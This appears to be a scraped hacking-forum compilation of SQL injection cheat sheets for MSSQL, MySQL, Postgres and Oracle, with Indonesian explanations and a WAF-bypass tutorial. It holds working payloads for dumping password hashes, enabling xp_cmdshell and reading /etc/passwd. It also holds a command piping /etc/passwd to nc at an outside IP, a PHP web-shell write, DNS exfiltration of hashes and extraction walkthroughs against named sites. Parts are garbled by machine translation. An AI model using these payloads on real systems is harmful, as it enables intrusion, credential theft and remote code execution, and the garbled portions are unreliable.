- ---> Apa itu Information_schema?
- -------------------------------------------------- -------
- INFORMATION_SCHEMA adalah basis data informasi, tempat yang menyimpan informasi tentang semua basis data lain yang disimpan oleh server MySQL. Di dalam INFORMATION_SCHEMA ada beberapa tabel hanya-baca.
- Berikut ini adalah daftar masing-masing pandangan yang ada.
- INFORMATION_SCHEMA.CHECK_CONSTRAINTS
- INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE
- INFORMATION_SCHEMA.COLUMN_PRIVILEGES
- INFORMATION_SCHEMA.COLUMNS
- INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE
- INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE
- INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS
- INFORMATION_SCHEMA.DOMAINS
- INFORMATION_SCHEMA.KEY_COLUMN_USAGE
- INFORMATION_SCHEMA.PARAMETERS
- INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS
- INFORMATION_SCHEMA.ROUTINE_COLUMNS
- INFORMATION_SCHEMA.ROUTINES
- INFORMATION_SCHEMA.SCHEMATA
- INFORMATION_SCHEMA.TABLE_CONSTRAINTS
- INFORMATION_SCHEMA.TABLE_PRIVILEGES
- INFORMATION_SCHEMA.TABLES
- INFORMATION_SCHEMA.VIEW_COLUMN_USAGE
- INFORMATION_SCHEMA.VIEW_TABLE_USAGE
- INFORMATION_SCHEMA.VIEWS
- -------------------------------------------------- -----
- ---> Apa Nilai Null?
- -------------------------------------------------- -------
- NULL SQL adalah istilah yang digunakan untuk merepresentasikan nilai yang hilang. Nilai NULL dalam tabel adalah nilai dalam bidang yang tampaknya kosong.
- Bidang dengan nilai NULL adalah bidang tanpa nilai. Sangat penting untuk memahami bahwa nilai NULL berbeda dari nilai nol atau bidang yang berisi spasi.
- ---------------------------
- MSSQL INJECTION CHEAT SHEET
- Version SELECT @@version
- Comments SELECT 1 — comment
- SELECT /*comment*/1
- Current User SELECT user_name();
- SELECT system_user;
- SELECT user;
- SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
- List Users SELECT name FROM master..syslogins
- List Password Hashes SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
- SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
- SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
- SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
- Password Cracker MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these.
- List Privileges – current privs on a particular object in 2005, 2008
- SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database
- SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server
- SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table
- SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);
- –permissions on a user– current privs in 2005, 2008
- SELECT is_srvrolemember(‘sysadmin’);
- SELECT is_srvrolemember(‘dbcreator’);
- SELECT is_srvrolemember(‘bulkadmin’);
- SELECT is_srvrolemember(‘diskadmin’);
- SELECT is_srvrolemember(‘processadmin’);
- SELECT is_srvrolemember(‘serveradmin’);
- SELECT is_srvrolemember(‘setupadmin’);
- SELECT is_srvrolemember(‘securityadmin’);
- – who has a particular priv? 2005, 2008
- SELECT name FROM master..syslogins WHERE denylogin = 0;
- SELECT name FROM master..syslogins WHERE hasaccess = 1;
- SELECT name FROM master..syslogins WHERE isntname = 0;
- SELECT name FROM master..syslogins WHERE isntgroup = 0;
- SELECT name FROM master..syslogins WHERE sysadmin = 1;
- SELECT name FROM master..syslogins WHERE securityadmin = 1;
- SELECT name FROM master..syslogins WHERE serveradmin = 1;
- SELECT name FROM master..syslogins WHERE setupadmin = 1;
- SELECT name FROM master..syslogins WHERE processadmin = 1;
- SELECT name FROM master..syslogins WHERE diskadmin = 1;
- SELECT name FROM master..syslogins WHERE dbcreator = 1;
- SELECT name FROM master..syslogins WHERE bulkadmin = 1;
- List DBA Accounts SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
- SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
- SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005
- Current Database SELECT DB_NAME()
- List Databases SELECT name FROM master..sysdatabases;
- SELECT DB_NAME(N); — for N = 0, 1, 2, …
- List Columns SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
- SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
- List Tables SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
- SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
- SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
- Find Tables From Column Name – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
- SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’
- Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
- Select Nth Char SELECT substring(‘abcd’, 3, 1) — returns c
- Bitwise AND SELECT 6 & 2 — returns 2
- SELECT 6 & 1 — returns 0
- ASCII Value -> Char SELECT char(0×41) — returns A
- Char -> ASCII Value SELECT ascii(‘A’) – returns 65
- Casting SELECT CAST(’1′ as int);
- SELECT CAST(1 as char)
- String Concatenation SELECT ‘A’ + ‘B’ – returns AB
- If Statement IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
- Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
- Avoiding Quotes SELECT char(65)+char(66) — returns AB
- Time Delay WAITFOR DELAY ’0:0:5′ — pause for 5 seconds
- Make DNS Requests declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
- – Also check out theDNS tunnel feature of sqlninja
- Command Execution EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
- EXEC sp_configure ‘show advanced options’, 1; — priv
- RECONFIGURE; — priv
- EXEC sp_configure ‘xp_cmdshell’, 1; — priv
- RECONFIGURE; — priv
- Local File Access CREATE TABLE mydata (line varchar(8000));
- BULK INSERT mydata FROM ‘c:boot.ini’;
- DROP TABLE mydata;
- Hostname, IP Address SELECT HOST_NAME()
- Create Users EXEC sp_addlogin ‘user’, ‘pass’; — priv
- Drop Users EXEC sp_droplogin ‘user’; — priv
- Make User DBA EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
- Location of DB files EXEC sp_helpdb master; –location of master.mdf
- EXEC sp_helpdb pubs; –location of pubs.mdf
- Default/System Databases northwind
- model
- msdb
- pubs — not on sql server 2005
- tempdb
- ------------------------------------
- MYSQL INJECTION CHEAT SHEET
- Version SELECT @@version
- Comments SELECT 1; #comment
- SELECT /*comment*/1;
- Current User SELECT user();
- SELECT system_user();
- List Users SELECT user FROM mysql.user; — priv
- List Password Hashes SELECT host, user, password FROM mysql.user; — priv
- Password Cracker John the Ripper will crack MySQL password hashes.
- List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
- List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
- Current Database SELECT database()
- List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
- SELECT distinct(db) FROM mysql.db — priv
- List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
- List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
- Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
- Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
- SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
- Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
- Bitwise AND SELECT 6 & 2; # returns 2
- SELECT 6 & 1; # returns 0
- ASCII Value -> Char SELECT char(65); # returns A
- Char -> ASCII Value SELECT ascii(‘A’); # returns 65
- Casting SELECT cast(’1′ AS unsigned integer);
- SELECT cast(’123′ AS char);
- String Concatenation SELECT CONCAT(‘A’,'B’); #returns AB
- SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
- If Statement SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
- Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
- Avoiding Quotes SELECT 0×414243; # returns ABC
- Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));
- SELECT SLEEP(5); # >= 5.0.12
- Make DNS Requests Impossible?
- Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
- Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
- SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
- Hostname, IP Address SELECT @@hostname;
- Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
- Delete Users DROP USER test1; — priv
- Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
- Location of DB files SELECT @@datadir;
- Default/System Databases information_schema (>= mysql 5.0)
- mysql
- ------------------------------------------
- Postgres SQL Injection Cheat Sheet
- Version SELECT version()
- Comments SELECT 1; –comment
- SELECT /*comment*/1;
- Current User SELECT user;
- SELECT current_user;
- SELECT session_user;
- SELECT usename FROM pg_user;
- SELECT getpgusername();
- List Users SELECT usename FROM pg_user
- List Password Hashes SELECT usename, passwd FROM pg_shadow — priv
- Password Cracker MDCrack can crack PostgreSQL’s MD5-based passwords.
- List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
- List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
- Current Database SELECT current_database()
- List Databases SELECT datname FROM pg_database
- List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
- List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
- Find Tables From Column Name If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
- Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
- SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
- Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
- Bitwise AND SELECT 6 & 2; — returns 2
- SELECT 6 & 1; –returns 0
- ASCII Value -> Char SELECT chr(65);
- Char -> ASCII Value SELECT ascii(‘A’);
- Casting SELECT CAST(1 as varchar);
- SELECT CAST(’1′ as int);
- String Concatenation SELECT ‘A’ || ‘B’; — returnsAB
- If Statement IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead.
- Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
- Avoiding Quotes SELECT CHR(65)||CHR(66); — returns AB
- Time Delay SELECT pg_sleep(10); — postgres 8.2+ only
- CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here .
- Make DNS Requests Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
- SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
- Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
- Command Execution CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
- Local File Access CREATE TABLE mydata(t text);
- COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
- …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
- …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
- DROP TABLE mytest mytest;Write to a file:
- CREATE TABLE mytable (mycol text);
- INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
- COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try.
- – priv user can also read/write files by mapping libc functions
- Hostname, IP Address SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
- SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
- Create Users CREATE USER test1 PASSWORD ‘pass1′; — priv
- CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
- Drop Users DROP USER test1; — priv
- Make User DBA ALTER USER test1 CREATEUSER CREATEDB; — priv
- Location of DB files SELECT current_setting(‘data_directory’); — priv
- SELECT current_setting(‘hba_file’); — priv
- Default/System Databases template0
- template1
- -----------------------------------------------
- ORACLE SQL INJECTION CHEAT SHEET
- Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
- SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
- SELECT version FROM v$instance;
- Comments SELECT 1 FROM dual — comment
- – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
- Current User SELECT user FROM dual
- List Users SELECT username FROM all_users ORDER BY username;
- SELECT name FROM sys.user$; — priv
- List Password Hashes SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked
- SELECT name,spare4 FROM sys.user$ — priv, 11g
- Password Cracker checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
- List Privileges SELECT * FROM session_privs; — current privs
- SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
- SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
- SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
- List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
- Current Database SELECT global_name FROM global_name;
- SELECT name FROM v$database;
- SELECT instance_name FROM v$instance;
- SELECT SYS.DATABASE_NAME FROM DUAL;
- List Databases SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
- – Also query TNS listener for other databases. See tnscmd (services | status).
- List Columns SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
- SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
- List Tables SELECT table_name FROM all_tables;
- SELECT owner, table_name FROM all_tables;
- Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
- Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
- Select Nth Char SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
- Bitwise AND SELECT bitand(6,2) FROM dual; — returns 2
- SELECT bitand(6,1) FROM dual; — returns0
- ASCII Value -> Char SELECT chr(65) FROM dual; — returns A
- Char -> ASCII Value SELECT ascii(‘A’) FROM dual; — returns 65
- Casting SELECT CAST(1 AS char) FROM dual;
- SELECT CAST(’1′ AS int) FROM dual;
- String Concatenation SELECT ‘A’ || ‘B’ FROM dual; — returns AB
- If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
- Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
- SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
- Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; — returns AB
- Time Delay BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
- SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
- SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
- SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
- – Also see Heavy Queries to create a time delay
- Make DNS Requests SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
- SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
- Command Execution Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
- Local File Access UTL_FILE can sometimes be used. Check that the following is non-null:
- SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
- Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;
- SELECT host_name FROM v$instance;
- SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
- SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames
- Location of DB files SELECT name FROM V$DATAFILE;
- Default/System Databases SYSTEM
- SYSAUX
- ~rkx
- Basic filter
- ----------------------------
- *** Comments
- ‘ or 1=1#
- ‘ or 1=1– -
- ‘ or 1=1/* (MySQL < 5.1)
- ' or 1=1;%00
- ' or 1=1 union select 1,2 as `
- ' or#newline
- 1='1
- ' or– -newline
- 1='1
- ' /*!50000or*/1='1
- ' /*!or*/1='1
- *** Prefixes
- + – ~ !
- ‘ or –+2=- -!!!’2
- *** Operators
- ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE,
- RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
- *** Whitespaces
- + %09 %0a %0b %0c %0d %a0 /**/
- ‘or+(1)sounds/**/like“1“–%a0-
- load_file/*foo*/(0×616263)
- 0x82 ( low single comma )
- %82
- %uff00 %c0%20 %c0%a0 %e0%80%a0 %u0028 %uff08 %c0( %c0%a8 %e0%80%a8 %u0029 %uff09 %c0) %c0%a9 %e0%80%a9
- -Ph.h4rh4r
- FOR POSTGRE 8.4 >
- (select+array_to_string(array_agg(concat(table_name,'::',column_name)::text),$$%3Cli%3E$$)from+information_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$))
- 2.FOR POSTGRE 9.1>
- (select+string_agg(concat(table_name,'::',column_name),$$%3Cli%3E$$)from+information_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$))
- 3. ALL VERSION
- (select+array_to_string(array(select+table_name||':::'||column_name::text+from+information_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$)),'%3Cli%3E'))
- 4.
- 'Asero ::: '||version()||'<br>'||(SELECT array_to_string(array(SELECT('===>'||T0ltable_name||' :: '||column_name)::text FROM information_schema.columns where table_schema='public'),'<br>'))
- ~Asero
- Oracle SQL Injection and DIOS query (Ph.h4rh4r)
- http://www.site.it/pages.php?p=cut-linear') order by 3--&lang=it
- No Error
- http://www.site.it/pages.php?p=cut-linear') order by 4--&lang=it
- No Error
- http://www.site.it/pages.php?p=cut-linear') order by 5--&lang=it
- Error
- http://www.site.it/pages.php?p=cut-linear') Union All Select NULL,NULL,NULL,NULL from dual--&lang=it
- ctrl+u (view-source:)
- view-source:http://www.site.it/pages.php?p=cut-linear') Union All Select '1111',NULL,NULL,NULL from dual--&lang=it
- view-source:http://www.site.it/pages.php?p=cut-linear') Union All Select NULL,'1111',NULL,NULL from dual--&lang=it
- view-source:}
- <meta name="description" content="11111" />
- <meta name="description" content="1" />
- }
- '">'||(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables)||'<!--'
- (select wm_concat('<li>'||table_name||':'||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120)||'<!--'
- http://www.site.it/pages.php?p=cut-linear') and 1=0 union select null,'">'||(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables)||'<!--' ,NULL,NULL from dual --&lang=it
- (select banner from v$version where rownum=1)
- SQL injection using the xml function extractvalue() to extract data (Ph.h4rh4r)
- 1 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,version(),0x3a,user()))--
- Result:
- 'Xpath syntax error: 5.5.9:user@localhost'
- 2 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3c,table_name) from information_schema.tables limit 85,1)))--
- Result:
- 'Xpath syntax error: :users'
- 3 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 1050,1)))--
- Result:
- 'Xpath syntax error: :username'
- 4 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 1150,1)))--
- Result:
- 'Xpath syntax error: :password'
- 5 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,username,0x3a,password) from users)))--
- Result:
- 'Xpath syntax error: :Admin:password1'
- OR
- 6 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,username,0x3a,password) from users limit 1,1)))--
- Source: GOOGLE.COM
- Sekarang saya akan menunjukkan bagaimana mem-bypass filter WAF.
- Sebelum Semua pastikan Anda memiliki pengetahuan dalam SQLi.
- Ok Mari Mulai ..
- Apa itu WAF atau Aplikasi Web Firewall>?
- -A firewall aplikasi web (WAF) adalah alat, plugin server, atau filter yang menerapkan seperangkat aturan ke percakapan HTTP. Umumnya, aturan-aturan ini mencakup serangan umum seperti Cross-site Scripting (XSS) dan SQL Injection. Dengan menyesuaikan aturan untuk aplikasi Anda, banyak serangan dapat diidentifikasi dan diblokir. Upaya untuk melakukan kustomisasi ini dapat menjadi signifikan dan perlu dipertahankan karena aplikasi dimodifikasi.
- Beberapa situs web menggunakan filter WAF.
- Jika Anda menemukan situs vuln yang memiliki waf dan Anda mencoba untuk menyuntikkan permintaan berbasis Union dan Pertunjukannya Tidak Dapat Diterima, 403 terlarang atau Aplikasi Web FIrewall ALERT..Itulah berarti permintaan atau sintaks yang disuntikkan adalah Filter atau Diblokir oleh WAF.
- Ok sekarang inilah beberapa metode untuk Bypass filter WAF.
- 1) Komentar:
- Komentar SQL adalah berkat bagi kita SQL injector. Mereka memungkinkan kita untuk melewati banyak pembatasan firewall aplikasi Web dan untuk membunuh pernyataan SQL tertentu untuk mengeksekusi perintah penyerang saat mengomentari pertanyaan sah yang sebenarnya. Beberapa komentar di SQL:
- //,? , / ** /, #,? +,? -,;
- 2) Mengubah Kasus:
- Beberapa WAF? S hanya akan menyaring serangan huruf kecil. Seperti yang bisa kita lihat, kita dapat dengan mudah menghindarinya dengan mengubah huruf besar-kecil:
- Kemungkinan filter Regex:
- / union \ sselect / g
- id = 1 + UnIoN / ** / SeLeCT, atau dengan XSS -> alert (1)
- 3) Komentar Inline:
- Beberapa kata kunci filter WAF seperti / union \ sselect / ig Kita dapat mem-bypass filter ini dengan menggunakan komentar inline sebagian besar waktu, Contoh yang lebih kompleks akan memerlukan pendekatan yang lebih canggih seperti menambahkan kata kunci SQL yang selanjutnya akan memisahkan dua kata:
- id = 1 / *! UnIoN * / SeLeCT
- Perhatikan tanda seru / *! Kode * / Tanda seru mengeksekusi pernyataan SQL kami.
- Komentar sebaris dapat digunakan di seluruh pernyataan SQL sehingga jika table_name atau information_schema disaring, kita dapat menambahkan lebih banyak komentar sebaris. Sebagai contoh, mari kita berpura-pura sebuah situs menyaring serikat, di mana, table_name, table_schema, =, dan information_schema .. Ini adalah 3 pernyataan yang kita perlukan untuk menyuntikkan target kita.
- Untuk ini kami akan:
- id = 1 / *! UnIoN * / + SeLeCT + 1,2, concat (/ *! table_name * /) + FrOM /*information_schema*/.tables / *! WHERE * / + / *! TaBlE_ScHeMa * / + like + database ()? -
- Kode di atas akan melewati filter. Perhatikan kami dapat menggunakan? Suka? bukannya? =?
- Cara lain untuk menggunakan comemnts inline, ketika semuanya tampak gagal Anda dapat mencoba untuk melalui aplikasi Firewall off dengan menyusun pernyataan SQL menggunakan variabel:
- id = 1 + UnIoN / * & a = * / SeLeCT / * & a = * / 1,2,3, database ()? -
- Kode di atas harus melewati Union + pilih filter bahkan ketika komentar inline umum tidak bekerja dengan sendirinya
- 4) Buffer Overflow: / Masukan yang tidak terduga:
- Banyak WAFS ditulis dalam bahasa C yang membuat mereka cenderung meluap atau bertindak berbeda ketika dimuat dengan sekelompok data. Berikut adalah WAF yang melakukan tugasnya dengan benar, tetapi ketika diberikan sejumlah besar Data memungkinkan permintaan dan respons jahat.
- id = 1 dan (pilih 1) = (Pilih 0xAAAAAAAAAAAAAAAAA 1000 lebih A? s) + UnIoN + SeLeCT + 1,2, versi (), 4,5, database (), gunakan r (), 8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26
- , 27,28,29,30,31,32,33,34,35,36? +
- Pemintas ini di atas berfungsi. Saya sendiri baru saja menggunakan ini terhadap situs Web baru-baru ini.
- 5) Kata kunci yang diganti (preg_replace dan / atau WAF? S dengan tindakan yang sama
- Terkadang dan aplikasi akan menghapus semua kata kunci. Sebagai contoh, katakanlah kita memiliki filter yang menggantikan serikat pilih dengan spasi. Kita bisa memotong filter itu seperti ini:
- id = 1 + UNIunionON + SeLselectECT + 1,2,3?
- Seperti yang Anda lihat setelah union + select telah dihapus modal kami UNION + SELECT mengambil tempat yang berhasil menyuntikkan permintaan kami:
- UNION + PILIH + 1,2,3?
- 6) Pengkodean karakter:
- Kebanyakan WAF akan memecahkan kode dan menyaring masukan aplikasi, tetapi beberapa WAF hanya men-decode input sekali sehingga pengkodean ganda dapat melewati filter tertentu karena WAF akan men-decode input sekali kemudian menyaring sementara Aplikasi akan terus mendekode pernyataan SQL mengeksekusi kode kita.
- Contoh enkode ganda:
- id = 1% 252f% 252a * / UNION% 252f% 252a / SELECT% 252f% 252a * / 1,2, kata sandi% 252f% 252a * / FROM% 252f% 252a * / Pengguna? +
- [# Tut By Pain006]
- ©
- ~ h
- Bypass AQTRONIX WebKnight Filter IIS
- http://www.site.com?id=1 and (2)=(s%elect convert(int,@@version))
- http://www.site.com?id=1 and (2)=(s%elect convert(int,DB_N%AME()))
- sql.php?id=2+un/**/ion+se/**/lect+1,2,3,4
- sql.php?id=2+un/*%00*/ion+se/*%00*/lect+1,2,3,4,5
- sql.php?id=2/**/union/**/select/**/1,2,3,4,5
- sql.php?id=2+union+%0A+select+1,2,3,4,5
- sql.php?id=2+/*%00*/+union+select+1,2,3,4,5
- /?a=1+union/*&b=*/select+1,2
- /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users
- -Ph.h4rh4r
- 400,403,404,406
- ERROR BYPASS
